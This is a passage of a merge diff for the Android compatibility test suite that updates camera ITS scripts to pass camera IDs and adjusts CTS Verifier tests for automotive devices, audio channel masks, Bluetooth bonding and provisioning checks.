Merge "DO NOT MERGE: Put killing self action into main thread" into pie-cts-dev
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index 21804e9..2004846 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -51,7 +51,7 @@
     """
 
     def __init__(self, chart_file, height, distance, scale_start, scale_stop,
-                 scale_step):
+                 scale_step, camera_id=None):
         """Initial constructor for class.
 
         Args:
@@ -61,6 +61,7 @@
             scale_start:    float; start value for scaling for chart search
             scale_stop:     float; stop value for scaling for chart search
             scale_step:     float; step value for scaling for chart search
+            camera_id:      int; camera used for extractor
         """
         self._file = chart_file
         self._height = height
@@ -70,7 +71,7 @@
         self._scale_step = scale_step
         self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = its.image.chart_located_per_argv()
         if not self.xnorm:
-            with its.device.ItsSession() as cam:
+            with its.device.ItsSession(camera_id) as cam:
                 props = cam.get_camera_properties()
                 if its.caps.read_3a(props):
                     self.locate(cam, props)
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 1c3c2c1..8b02230 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -216,6 +216,9 @@
                 break
         proc.kill()
 
+    def __init__(self, camera_id=None):
+        self._camera_id = camera_id
+
     def __enter__(self):
         # Initialize device id and adb command.
         self.device_id = get_device_id()
@@ -225,7 +228,7 @@
         self.__init_socket_port()
 
         self.__close_camera()
-        self.__open_camera()
+        self.__open_camera(self._camera_id)
         return self
 
     def __exit__(self, type, value, traceback):
@@ -258,12 +261,17 @@
             buf = numpy.frombuffer(buf, dtype=numpy.uint8)
         return jobj, buf
 
-    def __open_camera(self):
-        # Get the camera ID to open as an argument.
-        camera_id = 0
-        for s in sys.argv[1:]:
-            if s[:7] == "camera=" and len(s) > 7:
-                camera_id = int(s[7:])
+    def __open_camera(self, camera_id):
+        # Get the camera ID to open if it is an argument as a single camera.
+        # This allows passing camera=# to individual tests at command line
+        # and camera=#,#,# or an no camera argv with tools/run_all_tests.py.
+        if not camera_id:
+            camera_id = 0
+            for s in sys.argv[1:]:
+                if s[:7] == "camera=" and len(s) > 7:
+                    camera_ids = s[7:].split(",")
+                    if len(camera_ids) == 1:
+                        camera_id = camera_ids[0]
         cmd = {"cmdName":"open", "cameraId":camera_id}
         self.sock.send(json.dumps(cmd) + "\n")
         data,_ = self.__read_response_from_socket()
diff --git a/apps/CameraITS/tests/scene0/test_gyro_bias.py b/apps/CameraITS/tests/scene0/test_gyro_bias.py
index 86445fe..44be95f 100644
--- a/apps/CameraITS/tests/scene0/test_gyro_bias.py
+++ b/apps/CameraITS/tests/scene0/test_gyro_bias.py
@@ -39,7 +39,8 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         # Only run test if the appropriate caps are claimed.
-        its.caps.skip_unless(its.caps.sensor_fusion(props))
+        its.caps.skip_unless(its.caps.sensor_fusion(props) and
+            cam.get_sensors().get("gyro"))
 
         print "Collecting gyro events"
         cam.start_sensor_events()
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index bc00d5f..265fc33 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -430,7 +430,8 @@
         props = cam.get_camera_properties()
         its.caps.skip_unless(its.caps.sensor_fusion(props) and
                              its.caps.manual_sensor(props) and
-                             props["android.lens.facing"] != FACING_EXTERNAL)
+                             props["android.lens.facing"] != FACING_EXTERNAL and
+                             cam.get_sensors().get("gyro"))
 
         print "Starting sensor event collection"
         cam.start_sensor_events()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index a6e0402..4cc0151 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -73,9 +73,9 @@
 }
 
 
-def calc_camera_fov():
+def calc_camera_fov(camera_id):
     """Determine the camera field of view from internal params."""
-    with ItsSession() as cam:
+    with ItsSession(camera_id) as cam:
         props = cam.get_camera_properties()
     try:
         focal_l = props['android.lens.info.availableFocalLengths'][0]
@@ -101,11 +101,11 @@
     return socket_fail
 
 
-def skip_sensor_fusion():
+def skip_sensor_fusion(camera_id):
     """Determine if sensor fusion test is skipped for this camera."""
 
     skip_code = SKIP_RET_CODE
-    with ItsSession() as cam:
+    with ItsSession(camera_id) as cam:
         props = cam.get_camera_properties()
         if (its.caps.sensor_fusion(props) and its.caps.manual_sensor(props) and
                 props['android.lens.facing'] is not FACING_EXTERNAL):
@@ -174,7 +174,6 @@
     tmp_dir = None
     skip_scene_validation = False
     chart_distance = CHART_DISTANCE
-    chart_height = CHART_HEIGHT
 
     for s in sys.argv[1:]:
         if s[:7] == "camera=" and len(s) > 7:
@@ -277,7 +276,7 @@
             assert wake_code == 0
 
     for camera_id in camera_ids:
-        camera_fov = calc_camera_fov()
+        camera_fov = calc_camera_fov(camera_id)
         # Loop capturing images until user confirm test scene is correct
         camera_id_arg = "camera=" + camera_id
         print "Preparing to run ITS on camera", camera_id
@@ -303,7 +302,7 @@
                 out_path = os.path.join(topdir, camera_id, scene+".jpg")
                 out_arg = "out=" + out_path
                 if scene == 'sensor_fusion':
-                    skip_code = skip_sensor_fusion()
+                    skip_code = skip_sensor_fusion(camera_id)
                     if rot_rig_id or skip_code == SKIP_RET_CODE:
                         validate_switch = False
                 if skip_scene_validation:
@@ -335,13 +334,15 @@
             print "Start running ITS on camera %s, %s" % (camera_id, scene)
             # Extract chart from scene for scene3 once up front
             chart_loc_arg = ''
+            chart_height = CHART_HEIGHT
             if scene == 'scene3':
                 if float(camera_fov) < 90 and np.isclose(chart_distance, 22,
                                                          rtol=0.1):
                     chart_height *= 0.67
                 chart = its.cv2image.Chart(SCENE3_FILE, chart_height,
                                            chart_distance, CHART_SCALE_START,
-                                           CHART_SCALE_STOP, CHART_SCALE_STEP)
+                                           CHART_SCALE_STOP, CHART_SCALE_STEP,
+                                           camera_id)
                 chart_loc_arg = 'chart_loc=%.2f,%.2f,%.2f,%.2f,%.3f' % (
                         chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm,
                         chart.scale)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 933fdab..f2640e5 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="9.0_r4">
+      android:versionName="9.0_r6">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
 
@@ -215,7 +215,7 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.watch" />
+                    android:value="android.hardware.type.watch:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".admin.ScreenLockTestActivity"
@@ -2006,7 +2006,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.watch:android.software.leanback" />
+                android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
         </activity>
 
         <activity android:name=".vr.VrListenerVerifierActivity"
@@ -3099,8 +3099,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television" />
         </activity>
@@ -3112,8 +3111,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencySpeakerActivity"
@@ -3123,8 +3121,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyMicActivity"
@@ -3134,9 +3131,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyUnprocessedActivity"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 3763087..b64b9eb 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1860,6 +1860,7 @@
         2. Click on the play button.\n
         3. Verify that the captured audio is played.\n
         4. Click on the close button.\n
+        If this device does not support audio recording, please skip this test and mark it passing.\n
     </string>
     <string name="provisioning_byod_dismiss_result_dialog">Close</string>
     <string name="provisioning_byod_play">Play</string>
@@ -3260,7 +3261,10 @@
     <string name="disallow_config_mobile_networks">Disallow config mobile networks</string>
     <string name="disallow_config_mobile_networks_action">Configuring mobile networks</string>
     <string name="disallow_config_tethering">Disallow config tethering</string>
-    <string name="disallow_config_tethering_action">Configuring tethering and portable hotspots</string>
+    <string name="disallow_config_tethering_action">
+        Configuring tethering and portable hotspots.\n
+        NOTE: If the device does not support tethering please skip this test and mark it as passing.\n
+    </string>
     <string name="disallow_config_wifi">Disallow config Wi-Fi</string>
     <string name="disallow_config_wifi_action">Modifying Wi-Fi configuration</string>
     <string name="disallow_debugging_features">Disallow debugging features</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index c8bffdf..0e82423 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -67,11 +67,12 @@
                     R.string.device_admin_keyguard_disable_camera_instruction,
                     new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
         }
-
-        adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
-                "DeviceAdmin_DisableNotifications",
-                R.string.device_admin_disable_notifications_instruction,
-                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
+                    "DeviceAdmin_DisableNotifications",
+                    R.string.device_admin_disable_notifications_instruction,
+                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
+        }
     }
 
     private boolean hasTrustAgents() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
index e5b73e8..fdb57fc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -118,7 +118,8 @@
         tests.add(new TestVibrateNotificationDndOn());
         tests.add(new TestVibrateRingerDndOn());
         tests.add(new TestSetRingerModePolicyAccessDndOn());
-        tests.add(new TestVolumeDndAffectedStreamDndOn());
+        // TODO: Add a @TestApi method to query the VolumPolicy
+        //tests.add(new TestVolumeDndAffectedStreamDndOn());
         tests.add(new TestAdjustVolumeInPriorityOnlyAllowAlarmsMediaMode());
 
         tests.add(new SetModeAllTest());
@@ -126,7 +127,8 @@
         tests.add(new TestVibrateNotification());
         tests.add(new TestVibrateRinger());
         tests.add(new TestSetRingerModePolicyAccess());
-        tests.add(new TestVolumeDndAffectedStream());
+        // TODO: Add a @TestApi method to query the VolumPolicy
+        //tests.add(new TestVolumeDndAffectedStream());
         tests.add(new TestVolume());
         tests.add(new TestMuteStreams());
         tests.add(new EnableSoundEffects());
@@ -632,17 +634,12 @@
                 return;
             }
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
             if (mHasVibrator) {
+                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
                 if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
                     setFailed();
                     return;
                 }
-            } else {
-                if (RINGER_MODE_NORMAL != mAudioManager.getRingerMode()) {
-                    setFailed();
-                    return;
-                }
             }
             status = PASS;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 22a2678..268201c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -77,7 +77,12 @@
             mRecorder.stop();
         }
 
+        // no reason to do more than 2
         int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
+        if (numChans > 2) {
+            numChans = 2;
+        }
+        Log.i(TAG, "  numChans:" + numChans);
 
         if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
             connectWaveView();  // Setup the WaveView
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 7190af9..55b7f9a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -32,9 +32,6 @@
     }
 
     public static int countToIndexMask(int chanCount) {
-        // From the documentation for AudioFormat:
-        // The canonical channel index masks by channel count are given by the formula
-        // (1 << channelCount) - 1.
         return (1 << chanCount) - 1;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index 7cdff34..2ec742e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,19 +120,30 @@
         mNumChannels = numChans;
         mSampleRate = sampleRate;
 
-        int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-        int bufferSizeInBytes = 2048;   // Some, non-critical value
+        final int frameSize =
+                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
+        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
+
+        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
+        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
+        formatBuilder.setSampleRate(mSampleRate);
+
+        if (numChans <= 2) {
+            // There is currently a bug causing channel INDEX masks to fail.
+            // for channels counts of <= 2, use channel POSITION
+            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
+            formatBuilder.setChannelMask(chanPosMask);
+        } else {
+            // There are no INPUT channel-position masks for > 2 channels
+            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
+            formatBuilder.setChannelIndexMask(chanIndexMask);
+        }
+
+        AudioRecord.Builder builder = new AudioRecord.Builder();
+        builder.setAudioFormat(formatBuilder.build());
 
         try {
-            mAudioRecord = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
-                            .setSampleRate(mSampleRate)
-                            .setChannelIndexMask(chanIndexMask)
-                            .build())
-                    .setBufferSizeInBytes(bufferSizeInBytes)
-                    .build();
-
+            mAudioRecord = builder.build();
             return true;
         } catch (UnsupportedOperationException ex) {
             Log.e(TAG, "Couldn't open AudioRecord: " + ex);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 28d08cd..1fd6a2b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
                 int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
-                        mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+                        if ((mBluetoothGatt == null) &&
+                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+                                                         mGattCallbacks);
+                        }
                         break;
                     case BluetoothDevice.BOND_NONE:
                         notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index e8cf2ef..fc2374e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -1728,6 +1728,14 @@
                                               .left;
                             int aay = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
                                               .top;
+
+                            if (w == aaw) {
+                                aax = 0;
+                            }
+                            if (h == aah) {
+                                aay = 0;
+                            }
+
                             int gw = mCaptureStatsGridWidth;
                             int gh = mCaptureStatsGridHeight;
                             float[] stats = StatsImage.computeStatsImage(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
index 49b34fd..d753d6a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
@@ -465,6 +465,10 @@
                 int viewHeight = mFormatView.getHeight();
                 int newWidth, newHeight;
 
+                if (viewWidth == 0 || viewHeight == 0){
+                    return;
+                }
+
                 if (mPreviewOrientations.get(mNextPreviewOrientation) == 0
                     || mPreviewOrientations.get(mNextPreviewOrientation) == 180) {
                     // make preview width same as output image width,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
index 395eac0..81e1e9f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
@@ -277,6 +277,7 @@
         boolean hasTelephony = false;
         boolean hasBluetooth = false;
         boolean hasIllegalFeature = false;
+        boolean hasTelevision = false;
 
         // get list of all features device thinks it has, & store in a HashMap
         // for fast lookups
@@ -343,6 +344,8 @@
         if (apiVersion >= Build.VERSION_CODES.ECLAIR_MR1) {
             Collections.addAll(features, ALL_ECLAIR_FEATURES);
         }
+
+        hasTelevision = getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION);
         for (Feature f : features) {
             HashMap<String, Object> row = new HashMap<String, Object>();
             listViewData.add(row);
@@ -358,6 +361,9 @@
                 // it's required, but device doesn't report it. Boo, set the
                 // bogus icon
                 statusIcon = R.drawable.fs_error;
+                if (hasTelevision && PackageManager.FEATURE_LOCATION.equals(f.name)) {
+                    statusIcon = R.drawable.fs_indeterminate;
+                }
             } else {
                 // device doesn't report it, but it's not req'd, so can't tell
                 // if there's a problem
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index 4909497..c779a2a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,6 +19,8 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Typeface;
@@ -41,6 +43,7 @@
 /**
  * CTS Verifier case for verifying GPS.
  */
+@CddTest(requirement="7.3.3/C-1-1")
 public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
     private LocationManager mLocationManager;
     private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 5f90b66..67f82d0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -647,12 +647,14 @@
                     .show();
         }
 
-        mWidgetTest = TestListItem.newTest(this,
-                R.string.provisioning_byod_work_profile_widget,
-                WorkProfileWidgetActivity.class.getName(),
-                new Intent(WorkProfileWidgetActivity.ACTION_TEST_WORK_PROFILE_WIDGET),
-                new String[] {PackageManager.FEATURE_APP_WIDGETS});
-        adapter.add(mWidgetTest);
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS)) {
+            mWidgetTest = TestListItem.newTest(this,
+                    R.string.provisioning_byod_work_profile_widget,
+                    WorkProfileWidgetActivity.class.getName(),
+                    new Intent(WorkProfileWidgetActivity.ACTION_TEST_WORK_PROFILE_WIDGET),
+                    new String[]{PackageManager.FEATURE_APP_WIDGETS});
+            adapter.add(mWidgetTest);
+        }
 
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
index 078e9ce..dffce56 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
@@ -20,6 +20,7 @@
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.provider.Settings;
@@ -98,10 +99,12 @@
                         .putExtra(EnterprisePrivacyInfoOnlyTestActivity.EXTRA_INFO,
                                 R.string.enterprise_privacy_quick_settings_negative_info),
                         null));
-        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE,
-                R.string.enterprise_privacy_keyguard_negative,
-                R.string.enterprise_privacy_keyguard_negative_info,
-                new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS))));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE,
+                    R.string.enterprise_privacy_keyguard_negative,
+                    R.string.enterprise_privacy_keyguard_negative_info,
+                    new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS))));
+        }
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT_NEGATIVE,
                 R.string.enterprise_privacy_add_account_negative,
                 R.string.enterprise_privacy_add_account_negative_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 0022518..ff4f540 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -510,6 +510,7 @@
     private boolean isStatusBarEnabled() {
       // Watches don't support the status bar so this is an ok proxy, but this is not the most
       // general test for that. TODO: add a test API to do a real check for status bar support.
-      return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+      return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH) && 
+             !getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 3a16297..519d50b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -312,20 +312,22 @@
                                         CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
                                         .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
                                                 "Foo, Inc."))}));
-        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
-                R.string.enterprise_privacy_keyguard,
-                R.string.enterprise_privacy_keyguard_info,
-                new ButtonInfo[] {
-                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
-                                new Intent(Settings.ACTION_SETTINGS)),
-                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
-                                buildCommandIntent(
-                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
-                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
-                                buildCommandIntent(
-                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
-                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
-                                                "Foo, Inc."))}));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
+                    R.string.enterprise_privacy_keyguard,
+                    R.string.enterprise_privacy_keyguard_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                    new Intent(Settings.ACTION_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                    buildCommandIntent(
+                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    buildCommandIntent(
+                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                            .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                    "Foo, Inc."))}));
+        }
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT,
                 R.string.enterprise_privacy_add_account,
                 R.string.enterprise_privacy_add_account_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
index 31a8791..6637509 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
@@ -110,12 +110,14 @@
     }
 
     protected void setupDisableUnredactedWorkNotification(ArrayTestListAdapter adapter) {
-        adapter.add(new DialogTestListItemWithIcon(this,
-                R.string.provisioning_byod_disable_unredacted_notifications,
-                getTestIdPrefix() + "DisableUnredactedNotifications",
-                R.string.provisioning_byod_disable_unredacted_notifications_instruction,
-                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
-                R.drawable.ic_corp_icon));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(new DialogTestListItemWithIcon(this,
+                    R.string.provisioning_byod_disable_unredacted_notifications,
+                    getTestIdPrefix() + "DisableUnredactedNotifications",
+                    R.string.provisioning_byod_disable_unredacted_notifications_instruction,
+                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
